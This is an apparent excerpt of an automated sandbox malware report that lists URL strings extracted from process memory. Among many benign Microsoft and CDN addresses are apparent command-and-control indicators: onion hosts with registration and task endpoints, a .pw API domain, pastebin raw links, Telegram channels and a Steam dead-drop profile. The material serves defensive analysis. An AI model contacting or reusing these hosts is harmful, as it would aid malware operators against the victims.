Source: explorer.exe, 00000001.00000000.1695312230.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693195889.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: svchost.exe, 00000020.00000003.2293790669.0000021A30618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000020.00000003.2293790669.0000021A30618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000020.00000003.2293790669.0000021A30618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000020.00000003.2293790669.0000021A30618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000020.00000003.2293790669.0000021A30618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000020.00000003.2293790669.0000021A30618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000020.00000003.2293790669.0000021A3064D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000020.00000003.2293790669.0000021A30691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion
Source: InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002A.00000002.2865725310.00000000035BB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002A.00000002.2865725310.00000000033F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/ef0e6c9136fd4b779a75726a3
Source: explorer.exe, 00000001.00000000.1695312230.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693195889.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: Kinds.8.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Kinds.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Kinds.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Kinds.8.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.comd
Source: 9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/EInvalidGlobalDataContractNamespace?DataContractNamespaceAlr
Source: 9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System
Source: 9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System.Collections.GenericJ
Source: 9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/dhttp://schemas.datacontract.org/2004/07/System.XmlRhttp://w
Source: explorer.exe, 00000001.00000000.1694901150.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1694166846.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1696023227.0000000009B60000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: svchost.exe, 00000020.00000002.2992181174.0000021A2B0B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/enumeration
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Kinds.8.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Kinds.8.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://t.me
Source: InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://t.med
Source: Far.pif	String found in binary or memory: http://www.autoitscript.com/autoit3/
Source: explorer.exe, 00000001.00000000.1697168851.000000000C964000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Far.pif, 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmp, Far.pif, 00000017.00000002.2987185085.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: 1600.exe, 00000028.00000003.2571412657.00000000020E8000.00000004.00001000.00020000.00000000.sdmp, 1600.exe, 00000028.00000003.2570589683.0000000002350000.00000004.00001000.00020000.00000000.sdmp, 1600.tmp, 00000029.00000002.2986314650.0000000000401000.00000020.00000001.01000000.00000019.sdmp, 1600.exe, 0000002D.00000003.2599782173.0000000002350000.00000004.00001000.00020000.00000000.sdmp, 1600.exe, 0000002D.00000003.2615905945.0000000001F68000.00000004.00001000.00020000.00000000.sdmp, 1600.tmp.40.dr	String found in binary or memory: http://www.innosetup.com/
Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.htmlTYPE=2OpenSSL
Source: 1600.exe, 00000028.00000003.2571412657.00000000020E8000.00000004.00001000.00020000.00000000.sdmp, 1600.exe, 00000028.00000003.2570589683.0000000002350000.00000004.00001000.00020000.00000000.sdmp, 1600.tmp, 00000029.00000002.2986314650.0000000000401000.00000020.00000001.01000000.00000019.sdmp, 1600.exe, 0000002D.00000003.2599782173.0000000002350000.00000004.00001000.00020000.00000000.sdmp, 1600.exe, 0000002D.00000003.2615905945.0000000001F68000.00000004.00001000.00020000.00000000.sdmp, 1600.tmp.40.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: 1600.exe, 00000028.00000003.2571412657.00000000020E8000.00000004.00001000.00020000.00000000.sdmp, 1600.exe, 00000028.00000003.2570589683.0000000002350000.00000004.00001000.00020000.00000000.sdmp, 1600.tmp, 00000029.00000002.2986314650.0000000000401000.00000020.00000001.01000000.00000019.sdmp, 1600.exe, 0000002D.00000003.2599782173.0000000002350000.00000004.00001000.00020000.00000000.sdmp, 1600.exe, 0000002D.00000003.2615905945.0000000001F68000.00000004.00001000.00020000.00000000.sdmp, 1600.tmp.40.dr	String found in binary or memory: http://www.remobjects.com/psU
Source: 4577.exe, 00000018.00000002.2986069883.0000000000824000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/re
Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https:///phpMyAdmin//PhpMyAdmin//pma/rootmysqlimapssmtpspop3sscp://your_IP_is_greylisted_README.txt2
Source: InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000001.00000000.1697168851.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1693195889.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1693195889.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1695312230.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1695312230.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1691821298.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1692386712.0000000003700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1695312230.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1695312230.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1695312230.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn5.cdn-telegram.org/file/i4QQmSX-IWl_DPP440WbnzRvPCaYFxClaDPOTGTMNvRYQOqwUilTO2gWelNn07kDZ
Source: InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: InstallUtil.exe, 0000001A.00000002.2398528056.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000001A.00000002.2397253515.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000001A.00000002.2398138464.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/
Source: InstallUtil.exe, 0000001A.00000002.2398528056.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/Bj
Source: InstallUtil.exe, 0000001A.00000002.2398528056.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/Hk
Source: InstallUtil.exe, 0000001A.00000002.2398528056.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/ak
Source: InstallUtil.exe, 0000001A.00000002.2395264074.0000000000B12000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000001A.00000002.2398138464.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/api
Source: InstallUtil.exe, 0000001A.00000002.2398138464.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/apiq2
Source: InstallUtil.exe, 0000001A.00000002.2398528056.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/n
Source: InstallUtil.exe, 0000001A.00000002.2398138464.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/nd1
Source: InstallUtil.exe, 0000001A.00000002.2398138464.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/pi
Source: InstallUtil.exe, 0000001A.00000002.2398528056.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drownthinsaltroutese.pw/tj
Source: InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: svchost.exe, 00000020.00000003.2293790669.0000021A306C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000020.00000003.2293790669.0000021A3071A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000020.00000003.2293790669.0000021A306C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000020.00000003.2293790669.0000021A306A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000020.00000003.2293790669.0000021A306E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000020.00000003.2293790669.0000021A306C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp, InstallUtil.exe, 0000002A.00000002.2767631716.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://github.com/L1ghtM4n/TorProxy/blob/main/LIB/Tor.zip?raw=true
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: svchost.exe, 00000020.00000003.2293790669.0000021A306C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000020.00000003.2293790669.0000021A30672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/cription
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/z2fzAVz5
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/z2fzAVz5d
Source: explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: 2DF.exe, 00000021.00000002.2472767778.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199592921038
Source: 2DF.exe, 00000021.00000002.2472767778.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199592921038hello
Source: InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me
Source: 2DF.exe, 00000021.00000002.2472767778.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/mcfuture
Source: 2DF.exe, 00000021.00000002.2472767778.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/mcfuturehnymfsOpera/9.80
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/tor
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002A.00000002.2865725310.00000000033F7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/tor_proxies
Source: InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/tor_proxiesd
Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://trac.torproject.org/projects/tor/ticket/14917.
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1697168851.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: Kinds.8.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Kinds.8.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
